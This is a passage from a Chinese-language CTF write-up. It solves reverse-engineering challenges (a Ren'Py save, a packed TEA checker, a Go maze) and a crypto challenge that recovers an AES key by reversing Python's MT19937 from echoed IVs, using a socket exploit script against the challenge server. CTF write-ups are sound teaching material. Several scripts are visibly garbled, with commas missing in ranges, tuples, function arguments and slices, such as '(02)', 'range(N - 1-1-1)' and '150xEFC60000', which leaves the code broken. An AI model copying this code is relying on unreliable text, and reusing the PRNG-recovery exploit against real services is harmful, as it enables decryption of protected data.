    magic = b"RENPY RPC2"
    assert blob.startswith(magic)

    slot, offset, length = struct.unpack_from("<III", blob, len(magic))
    assert slot == 1
    payload = zlib.decompress(blob[offset : offset + length])

    match = re.search(rb"heart\s*=\s*(b'(?:[^'\\]|\\.)*')", payload)
    assert match, "heart was not found"
    heart = ast.literal_eval(match.group(1).decode("ascii"))

    answer = bytes(byte ^ 0x78 for byte in heart).decode("ascii")
    print(answer)
    print(f"WuCup{{{answer}}}")


if __name__ == "__main__":
    solve(sys.argv[1])

输出:

726cbdb0-441e-4de3-ba37-47d032fe7b8a
WuCup{726cbdb0-441e-4de3-ba37-47d032fe7b8a}

RE2:tea

摘要

Windows PE tea.exe 用 WCP 加壳,运行后提示输入 flag。脱壳后可见标准 TEA 解密:密钥由四组常量按字合成,密文 10 个 uint32 解密得到 UUID,再拼成 flag{...}

解题过程

第 1 步:识别与脱壳

tea.exe 为 x64 PE。磁盘上 .text 的 SizeOfRawData 为 0,节名 WCP0/WCP1/WCP2,代码被加壳。COFF 符号仍在:tea_decrypt_blockreconstruct_keyprefix_numsenc_wordsk_ak_dmain

程序启动后打印 Please enter the flag:。此时镜像已解密,读取进程模块即可拿到明文 .text / .rdata

第 2 步:还原校验逻辑

main 流程:

  1. reconstruct_key(key):对 i=0..3key[i] = (k_a[i] ^ k_b[i]) + k_c[i] ^ k_d[i](32 位)。
  2. 将 enc_words(10 个 LE uint32)两两一组,调用 tea_decrypt_block(标准 TEA,DELTA=0x9e3779b9,32 轮,sum 初值为 DELTA<<5)。
  3. 解密结果去掉末尾 \0 后为 36 字节 UUID。
  4. 期望 flag = "flag{" + uuid + "}",与输入做 strcmp

第 3 步:解密

import struct

enc = bytes.fromhex(
    "e349767d2cc5826264f2fef47088cb55"
    "2a75aea83fd53aa3027ca31f1c601361"
    "b418ef602c1131eb"
)
k_a = bytes.fromhex("4c3d2e1f0d0c0b0a4433221188776655")
k_b = bytes.fromhex("ddccbbaaccbbaa996655443300998877")
k_c = bytes.fromhex("04030201080706051211100916151413")
k_d = bytes.fromhex("efbeaddecefaedfeea1dadab0df0ad0b")

def u32s(b):
    return list(struct.unpack("<" + "I" * (len(b) // 4), b))

A, B, C, D = u32s(k_a), u32s(k_b), u32s(k_c), u32s(k_d)
key = [((A[i] ^ B[i]) + C[i] ^ D[i]) & 0xFFFFFFFF for i in range(4)]

DELTA = 0x9E3779B9

def tea_decrypt_block(v0, v1, key):
    s = (DELTA << 5) & 0xFFFFFFFF
    for _ in range(32):
        v1 = (v1 - (((v0 << 4) + key[2]) ^ (v0 + s) ^ ((v0 >> 5) + key[3]))) & 0xFFFFFFFF
        v0 = (v0 - (((v1 << 4) + key[0]) ^ (v1 + s) ^ ((v1 >> 5) + key[1]))) & 0xFFFFFFFF
        s = (s - DELTA) & 0xFFFFFFFF
    return v0, v1

ws = u32s(enc)
out = b""
for i in range(0, len(ws), 2):
    a, b = tea_decrypt_block(ws[i], ws[i + 1], key)
    out += struct.pack("<II", a, b)
print(b"flag{" + out.rstrip(b"\x00") + b"}".decode())

运行输出:

flag{0d3747db-16f6-4c62-9665-b3e7531cefc8}

RE3:maze

摘要

Go 编写的 50×50 迷宫程序:用固定 LCG 生成主路径和额外通路,校验 U/R/D/L 路径后计算 md5(path + ":" + len(path)) 作为 flag。平台验收的是字典序偏右(先 R 后 D)的最短路径。

解题过程

第 1 步:识别逻辑

maze.exe 是 stripped 的 Go 1.24 Windows PE。pclntab 恢复出用户函数:

  • main.initMaze
  • main.generateMainPath
  • main.addExtraPaths(实际内联进 initMaze
  • main.validatePath
  • main.calculateMD5
  • main.main

迷宫为 int64 maze[50][50]1 是墙,0 是路。起点 (0,0),终点 (49,49)

initMaze

  1. 全部填墙。
  2. 种子 0x123456789abcdef0 走 generateMainPath:LCG seed = seed * 0x5851f42d4c957f2d + 0x14057b7ef767814f,取 (seed >> 62) & 30/2 向右(列 +1),1/3 向下(行 +1),越界则丢弃。
  3. 同一个初始种子再跑 300 次 LCG,把 (seed>>32)%48+1, (seed>>16)%48+1 打成通路。

validatePath 按字符查表移动:U=(-1,0)R=(0,+1)D=(+1,0)L=(0,-1)。越界、撞墙或未到达终点则失败。

通过后 Sprintf("%s:%d", path, len),再 md5 十六进制,打印 Flag: flag{%s}。程序提示“最短路径”,曼哈顿距离为 98,最短路径只能由 49 次 R 和 49 次 D 组成。

第 2 步:复现迷宫并取最短路径

主路径也能通过校验,但平台不收主路径对应的 hash。共 48 条仅含 R/D 的最短路径;验收的是每一步优先向右、不能再向右时才向下的那条。

import hashlib

N = 50
SEED = 0x123456789ABCDEF0
MUL = 0x5851F42D4C957F2D
ADD = 0x14057B7EF767814F
MASK = (1 << 64) - 1

def lcg(seed):
    return (seed * MUL + ADD) & MASK

maze = [[1] * N for _ in range(N)]
seed = SEED
maze[0][0] = 0
x = y = 0
while not (x == N - 1 and y == N - 1):
    seed = lcg(seed)
    d = (seed >> 62) & 3
    nx, ny = x, y
    if d in (02):
        ny = y + 1
    else:
        nx = x + 1
    if 0 <= nx < N and 0 <= ny < N:
        x, y = nx, ny
        maze[x][y] = 0

seed = SEED
for _ in range(300):
    seed = lcg(seed)
    maze[(seed >> 32) % 48 + 1][(seed >> 16) % 48 + 1] = 0
maze[0][0] = maze[N - 1][N - 1] = 0

ways = [[0] * N for _ in range(N)]
ways[N - 1][N - 1] = 1
for i in range(N - 1-1-1):
    for j in range(N - 1-1-1):
        if maze[i][j] != 0:
            ways[i][j] = 0
            continue
        if i == N - 1 and j == N - 1:
            continue
        w = 0
        if i + 1 < N:
            w += ways[i + 1][j]
        if j + 1 < N:
            w += ways[i][j + 1]
        ways[i][j] = w

x = y = 0
path = []
while (x, y) != (N - 1, N - 1):
    for ch, nx, ny in (("R", x, y + 1), ("D", x + 1, y)):
        if 0 <= nx < N and 0 <= ny < N and maze[nx][ny] == 0 and ways[nx][ny] > 0:
            path.append(ch)
            x, y = nx, ny
            break

s = "".join(path)
flag = "flag{" + hashlib.md5(f"{s}:{len(s)}".encode()).hexdigest() + "}"
print(s)
print(flag)

本地运行 maze.exe,输入该路径后输出:

路径长度: 98
Flag: flag{a3fa97e1e52759ea6b4122c7008cb9e5}

crypto1:againCBC

摘要

服务用固定 AES-CBC 密钥反复加密 flag,但每次都会用 random.randbytes(16) 生成新 IV 并完整回显。Python random 是 MT19937,收集对齐的 624 个 32-bit 输出即可还原状态、反向 twist 恢复密钥,再解密任意一份密文。

解题过程

题目源码:

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from random import randbytes
from secret import flag

key = randbytes(16)

while input(">>> "):
    aes = AES.new(key, AES.MODE_CBC, iv=randbytes(16))
    print("your gift: " + (aes.iv + aes.encrypt(pad(flag, 16))).hex())

远程:nc challenge.xiaoyuyc.com 24372

漏洞 1:密钥与 IV 共用同一 MT19937

  • 位置key = randbytes(16) 以及循环内 iv=randbytes(16)
  • 触发:任意非空输入都会再生成并回显一组 IV || C
  • 成因random.randbytes(n) 实现为 getrandbits(n*8).to_bytes(n, 'little'),每次 16 字节对应 4 个连续 32-bit MT 输出。
  • 影响:IV 是已知的 PRNG 输出;密钥是同一生成器更早的 4 个输出。
  • 利用:收集足够 IV,untemper 得到内部状态,再 untwist 回到生成 key 时的状态。
  • 验证:本地用 Random(0xDEADBEEF) 复现同一流程,恢复出的 key 与真实 key 完全一致。

Python 新 Random 的 mti 初始为 624(刚 twist 完)。key 消耗 4 个 word 后 mti=4。再输出 155 个 IV 后:4 + 155*4 = 624,恰好再次 twist。随后 156 个 IV 就是一整批对齐的 624 个输出。

漏洞 2:AES-CBC 本身不提供完整性,拿到 key 即可解密

  • 位置aes.encrypt(pad(flag, 16)),并把 aes.iv 明文拼接返回。
  • 触发:任意一次查询。
  • 成因:密钥一旦从 PRNG 恢复,CBC 解密只依赖 key 与该次 IV
  • 影响:任意一份 gift 都可直接解密出 flag。
  • 利用 / 验证:用恢复的 key 对第一份 gift[16:] 做 AES-CBC decrypt + unpad,得到 flag{...}

第 1 步:收集对齐 IV、反向 twist、解密

#!/usr/bin/env python3
import socket
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

HOST, PORT = "challenge.xiaoyuyc.com"24372
N, M = 624397
MATRIX_A = 0x9908B0DF
UPPER_MASK = 0x80000000
LOWER_MASK = 0x7FFFFFFF


def unshift_right(x, shift):
    res = x
    for _ in range(32):
        res = x ^ (res >> shift)
    return res


def unshift_left(x, shift, mask):
    res = x
    for _ in range(32):
        res = x ^ ((res << shift) & mask)
    return res


def untemper(v):
    v = unshift_right(v, 18)
    v = unshift_left(v, 150xEFC60000)
    v = unshift_left(v, 70x9D2C5680)
    v = unshift_right(v, 11)
    return v


def temper(y):
    y ^= (y >> 11)
    y ^= (y << 7) & 0x9D2C5680
    y ^= (y << 15) & 0xEFC60000
    y ^= (y >> 18)
    return y & 0xFFFFFFFF


def untwist(mt):
    w, n, m = 32624397
    a = 0x9908B0DF
    MT = mt[:]
    for i in range(n - 1-1-1):
        result = 0
        tmp = MT[i] ^ MT[(i + m) % n]
        if tmp & (1 << (w - 1)):
            tmp ^= a
        result = (tmp << 1) & (1 << (w - 1))
        tmp = MT[(i - 1 + n) % n] ^ MT[(i + m - 1) % n]
        if tmp & (1 << (w - 1)):
            tmp ^= a
            result |= 1
        result |= (tmp << 1) & ((1 << (w - 1)) - 1)
        MT[i] = result
    return MT


def words_from_bytes(b):
    return [int.from_bytes(b[i:i + 4], "little"for i in range(0, len(b), 4)]


def bytes_from_words(ws):
    return b"".join(w.to_bytes(4"little"for w in ws)


def recover_key(ivs):
    words = []
    for iv in ivs:
        words.extend(words_from_bytes(iv))
    state = [untemper(w) for w in words]
    prev = untwist(state)
    return bytes_from_words(temper(x) for x in prev[:4])


def recv_until(s, marker=b">>> "):
    buf = b""
    while not buf.endswith(marker):
        chunk = s.recv(4096)
        if not chunk:
            raise EOFError(buf)
        buf += chunk
    return buf


def main():
    s = socket.create_connection((HOST, PORT), timeout=30)
    recv_until(s)
    gifts = []
    for _ in range(155 + 156):
        s.sendall(b"a\n")
        line = b""
        while b"\n" not in line:
            chunk = s.recv(4096)
            if not chunk:
                raise EOFError(line)
            line += chunk
        hx = line.decode().split("your gift: "1)[1].split()[0]
        gifts.append(bytes.fromhex(hx))

    key = recover_key([g[:16for g in gifts[155:155 + 156]])
    ct = gifts[0]
    pt = unpad(AES.new(key, AES.MODE_CBC, iv=ct[:16]).decrypt(ct[16:]), 16)
    print(pt.decode())


if __name__ == "__main__":
    main()

运行输出:

flag{b110a659-ebf9-4073-9b1c-b52416cc621e}

转载声明:本文转载自原发布平台 (作者:玄网安全), 原文标题《第一届创宇杯网络安全技能大赛WP》, 查看原文。 版权归原作者及原发布平台所有,本站仅作收录与展示,未对正文内容作实质性修改; 若涉及侵权请联系本站处理。